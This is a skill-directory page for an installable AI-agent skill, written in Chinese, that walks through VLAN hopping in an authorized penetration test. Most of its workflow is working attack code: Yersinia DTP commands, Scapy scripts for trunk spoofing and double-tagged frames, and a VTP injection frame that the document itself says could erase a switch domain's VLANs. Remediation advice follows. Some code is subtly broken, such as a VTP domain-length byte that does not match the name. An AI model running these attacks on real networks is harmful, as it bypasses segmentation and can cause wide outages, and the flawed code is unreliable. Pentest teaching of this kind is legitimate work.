# Performing Vlan Hopping Attack

> 在授权环境中使用交换机欺骗（Switch Spoofing）和双标签（Double Tagging）技术模拟 VLAN 跳转攻击， 测试 VLAN 分段有效性，并验证交换机端口安全配置对二层旁路攻击的抵御能力。

- Skill: `killvxk/performing-vlan-hopping-attack` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-vlan-hopping-attack`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-vlan-hopping-attack/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-vlan-hopping-attack

---

# 执行 VLAN 跳转攻击

## 适用场景

- 在授权渗透测试中测试基于 VLAN 的网络分段有效性
- 验证交换机干道端口配置是否能防止未授权的 VLAN 访问
- 评估 802.1Q 标签和本征 VLAN（Native VLAN）配置是否能抵御双标签攻击
- 向网络团队演示为何正确的交换机加固对区域间隔离至关重要
- 验证所有接入端口是否已禁用 DTP（Dynamic Trunking Protocol，动态中继协议）

**不要在**未获明确授权和变更管理批准的生产交换机上使用，不要针对无安全控制的关键基础设施 VLAN（SCADA、医疗设备），不要将其用作拒绝服务攻击手段。

## 前置条件

- 明确指定目标 VLAN 和测试交换机范围的书面授权
- 可物理或虚拟访问目标网络的交换机接入端口
- 在 Kali Linux 上安装了 Yersinia、Scapy 和 frogger VLAN 跳转工具
- 了解 802.1Q 中继、DTP 和帧级别的 VLAN 标签
- 可访问交换机 CLI 进行配置验证（只读权限即可）
- 使用 Wireshark 捕获并验证标签帧

## 工作流程

### 步骤 1：枚举 VLAN 配置

```bash
# 识别攻击者端口的当前 VLAN 分配
ip link show eth0
cat /proc/net/vlan/config 2>/dev/null

# 使用 CDP/LLDP 发现交换机信息
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>/dev/null
# 或使用 lldpd
lldpcli show neighbors

# 若启用了 CDP，捕获 CDP 帧
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'

# 使用 Yersinia 发现 DTP 和 VTP 信息
sudo yersinia -G &
# 或命令行方式：
sudo yersinia dtp -attack 0 -interface eth0
# 监听 DTP 帧以获取中继协商状态

# 使用 Nmap 识别其他 VLAN 上的主机（若存在路由）
nmap -sn 10.10.10.0/24 10.10.20.0/24 10.10.30.0/24
```

### 步骤 2：尝试交换机欺骗（DTP 攻击）

```bash
# 使用 Yersinia 发送 DTP 帧并协商中继
sudo yersinia dtp -attack 1 -interface eth0

# 发送 DTP Desirable 帧将接入端口转换为中继端口
# 若成功，该端口将成为承载所有 VLAN 的中继端口

# 也可使用 Scapy 构造 DTP 帧
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.dtp import *

# 发送 DTP Desirable 帧协商中继
dtp_frame = (
    Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
    SNAP(OUI=0x00000c, code=0x2004) /
    DTP(tlvlist=[
        DTPDomain(type=0x0001, domain=""),
        DTPStatus(type=0x0002, status=b"\x03"),  # Desirable
        DTPType(type=0x0003, dtptype=b"\xa5"),    # 802.1Q trunk
        DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr("eth0"))
    ])
)

sendp(dtp_frame, iface="eth0", count=10, inter=1)
print("[*] DTP Desirable 帧已发送，检查是否协商为中继端口。")
PYEOF

# 若中继协商成功，捕获标签帧进行验证
sudo tcpdump -en -i eth0 'vlan' -c 10

# 创建 VLAN 子接口以访问其他 VLAN
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 10.10.10.99/24 dev eth0.10
sudo ip link set eth0.10 up

sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.99/24 dev eth0.20
sudo ip link set eth0.20 up

# 验证对其他 VLAN 的访问
ping -c 3 10.10.10.1
ping -c 3 10.10.20.1
```

### 步骤 3：尝试双标签攻击

```bash
# 双标签攻击的前提条件：
# 1. 攻击者位于干道的本征 VLAN
# 2. 目标 VLAN 与本征 VLAN 不同
# 3. 交换机剥离外层标签并转发带内层标签的帧

python3 << 'PYEOF'
from scapy.all import *

# 构造双标签帧
# 外层标签：本征 VLAN（如 VLAN 1）
# 内层标签：目标 VLAN（如 VLAN 20 - 服务器 VLAN）
target_ip = "10.10.20.10"
target_mac = "ff:ff:ff:ff:ff:ff"

double_tagged = (
    Ether(dst=target_mac, src=get_if_hwaddr("eth0")) /
    Dot1Q(vlan=1) /       # 外层标签：本征 VLAN（将被剥离）
    Dot1Q(vlan=20) /      # 内层标签：目标 VLAN（将被转发）
    IP(dst=target_ip, src="10.10.20.99") /
    ICMP(type=8)           # Echo request
)

# 发送双标签帧
sendp(double_tagged, iface="eth0", count=5, inter=1)
print("[*] 已发送针对 VLAN 20 的双标签帧")
print("[!] 注意：双标签攻击为单向攻击——预期不会收到响应")
PYEOF

# 使用 frogger 进行自动化 VLAN 跳转
# frogger 会识别本征 VLAN 并尝试双标签攻击
sudo frogger

# 在目标 VLAN 的监控端口上使用 Wireshark 验证
tshark -i eth1 -Y "vlan.id == 20 and icmp" -c 10
```

### 步骤 4：测试 VTP（VLAN 中继协议）攻击

```bash
python3 << 'PYEOF'
from scapy.all import *

# 构造带高修订号的 VTP 摘要通告
# 警告：若成功，可能破坏整个 VLAN 域
vtp_frame = (
    Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
    SNAP(OUI=0x00000c, code=0x2003) /
    Raw(load=bytes([
        0x02,                    # 版本 2
        0x01,                    # 摘要通告
        0x00,                    # Followers
        0x06,                    # 域名长度
        0x54, 0x45, 0x53, 0x54, # 域名："TEST"
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0xFF, 0xFF, # 高修订号
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, # MD5 摘要（实验室环境使用全零）
    ]))
)

# 仅在授权实验室环境中发送
sendp(vtp_frame, iface="eth0", count=1)
print("[*] VTP 摘要通告已发送")
PYEOF
```

### 步骤 5：验证交换机配置弱点

```bash
# 在交换机上（具有读取权限），检查错误配置：

# 检查接入端口的 DTP 状态（应为 nonegotiate）
# show interfaces <interface> switchport
# 预期：Administrative Mode: static access
#       Negotiation of Trunking: Off

# 检查本征 VLAN 配置（不应为 VLAN 1）
# show interfaces trunk
# 预期：Native VLAN 不与任何用户 VLAN 匹配

# 检查 VTP 模式（应为 transparent 或 off）
# show vtp status
# 预期：VTP Mode: Transparent

# 检查未使用端口是否已禁用
# show interfaces status | include disabled

# 验证是否启用了端口安全
# show port-security
```

### 步骤 6：记录发现和修复建议

```bash
# 清理 VLAN 子接口
sudo ip link del eth0.10 2>/dev/null
sudo ip link del eth0.20 2>/dev/null

# 停止所有正在运行的攻击工具
sudo killall yersinia 2>/dev/null

# 记录所有带时间戳的测试结果
cat > vlan_hopping_report.txt << 'EOF'
VLAN 跳转测试结果
==================
测试日期：$(date)
测试人员：安全评估团队
授权文件：PENTEST-2024-0847

测试 1：DTP 交换机欺骗
  结果：存在漏洞 - 3 秒内协商为中继端口
  获取访问：VLAN 1, 10, 20, 30, 40

测试 2：双标签攻击
  结果：存在漏洞 - 帧从 VLAN 1 到达 VLAN 20
  注意：仅单向（无返回流量）

测试 3：VTP 攻击
  结果：未测试 - VTP 处于透明模式
EOF
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **VLAN 跳转（VLAN Hopping）** | 允许攻击者访问未授权 VLAN 流量的二层攻击技术，可绕过网络分段 |
| **DTP（动态中继协议）** | Cisco 专有协议，自动在交换机间协商中继链路；接入端口未禁用时易受欺骗攻击 |
| **双标签（Double Tagging）** | 使用两个 802.1Q 标签封装帧的攻击，利用交换机的本征 VLAN 处理机制将内层标签帧转发到不同 VLAN |
| **本征 VLAN（Native VLAN）** | 分配给干道端口未标签帧的 VLAN；当本征 VLAN 与用户 VLAN 相同时，可启用双标签攻击 |
| **VTP（VLAN 中继协议）** | Cisco 协议，用于在交换机间传播 VLAN 数据库变更；在服务器模式下，带更高修订号的流氓 VTP 消息可覆盖 VLAN 数据库 |
| **802.1Q** | IEEE VLAN 标签标准，在以太网帧中插入 4 字节标签，用于在干道链路上标识 VLAN 成员 |

## 工具与系统

- **Yersinia**：二层攻击框架，支持 DTP、VTP、STP、CDP、DHCP 和 802.1Q 攻击，提供 GUI 和 CLI 模式
- **Scapy**：Python 数据包操控库，用于构造自定义 802.1Q 双标签帧和 DTP 协商数据包
- **frogger**：VLAN 跳转工具，可自动发现本征 VLAN 并执行双标签攻击
- **Wireshark**：数据包分析器，用于验证 VLAN 标签内容并确认帧是否送达目标 VLAN
- **tcpdump**：命令行捕获工具，用于监控 802.1Q 标签帧以及 DTP/VTP 协议流量

## 常见场景

### 场景：测试 PCI-DSS 持卡人数据环境的 VLAN 分段

**背景**：零售商需要验证 VLAN 50 上的持卡人数据环境（CDE）是否已与企业网络（VLAN 10）和访客 WiFi（VLAN 30）正确隔离。网络使用带 802.1Q 中继的 Cisco Catalyst 交换机。评估授权从 VLAN 10 的端口进行测试。

**方法**：
1. 连接到 VLAN 10 的接入端口，监听 DTP 帧以确定中继协商状态
2. 使用 Yersinia 发送 DTP Desirable 帧——由于未禁用 DTP，端口成功协商为中继
3. 创建 VLAN 50 子接口并尝试访问 CDE 系统（10.10.50.0/24）——成功，证明分段被绕过
4. 从 VLAN 1（本征 VLAN）到 VLAN 50 尝试双标签攻击——也成功，因为本征 VLAN 是 VLAN 1
5. 记录 VLAN 分段因 DTP 错误配置而作为 PCI-DSS 控制措施失效
6. 建议在所有接入端口禁用 DTP，将本征 VLAN 更改为未使用的 VLAN，并启用端口安全

**注意事项**：
- DTP 欺骗可能引发生成树拓扑变更，中断网络连接
- 若本征 VLAN 不是 VLAN 1 或交换机配置正确，双标签可能无法成功
- 在生产环境中发动 VTP 攻击可能删除整个交换域的 VLAN，造成大规模中断
- 测试后忘记删除 VLAN 子接口，导致未授权的 VLAN 访问仍然存在

## 输出格式

```
## VLAN 跳转评估报告

**测试编号**：VLAN-HOP-2024-001
**被测交换机**：Core-SW1（Cisco Catalyst 9300）
**攻击者端口**：Gi1/0/24（VLAN 10）
**目标 VLAN**：VLAN 20（服务器），VLAN 50（CDE）

### 测试结果

| 攻击 | 目标 VLAN | 结果 | 影响 |
|------|-----------|------|------|
| DTP 交换机欺骗 | 所有 VLAN | 存在漏洞 | 获得完整中继访问 |
| 双标签攻击 | VLAN 50 | 存在漏洞 | 单向访问 CDE |
| VTP 注入 | N/A | 无漏洞 | VTP 透明模式 |

### 根本原因
1. 接入端口 Gi1/0/24 未禁用 DTP（管理模式：dynamic auto）
2. 所有干道链路的本征 VLAN 为 VLAN 1（默认值）
3. 交换机上未关闭的空闲端口

### 修复建议
1. 在所有接入端口禁用 DTP：`switchport nonegotiate`
2. 将所有接入端口设为静态模式：`switchport mode access`
3. 将本征 VLAN 更改为未使用的 VLAN：`switchport trunk native vlan 999`
4. 关闭所有未使用端口：`shutdown`
5. 在接入端口启用端口安全
6. 在所有交换机上将 VTP 设为透明模式
```

